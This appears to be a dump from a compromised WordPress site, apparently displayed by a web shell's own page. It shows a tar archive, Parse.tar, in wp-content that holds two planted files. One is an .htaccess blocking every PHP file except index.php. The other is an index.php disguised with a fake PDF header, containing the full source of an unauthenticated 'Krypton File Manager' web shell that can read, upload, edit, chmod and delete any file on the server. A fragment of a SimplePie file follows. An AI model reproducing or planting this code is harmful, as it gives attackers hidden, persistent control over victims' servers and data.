Your IP : 216.73.216.162


Current Path : /home/x/b/o/xbodynamge/namtation/wp-content/
Upload File :
Current File : /home/x/b/o/xbodynamge/namtation/wp-content/Parse.tar

.htaccess000066600000000424151133745450006356 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>index.php000066600000124512151133745450006405 0ustar00%PDF-1.7
3 0 obj
<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>Date.php000066600000046365151134277250006163 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
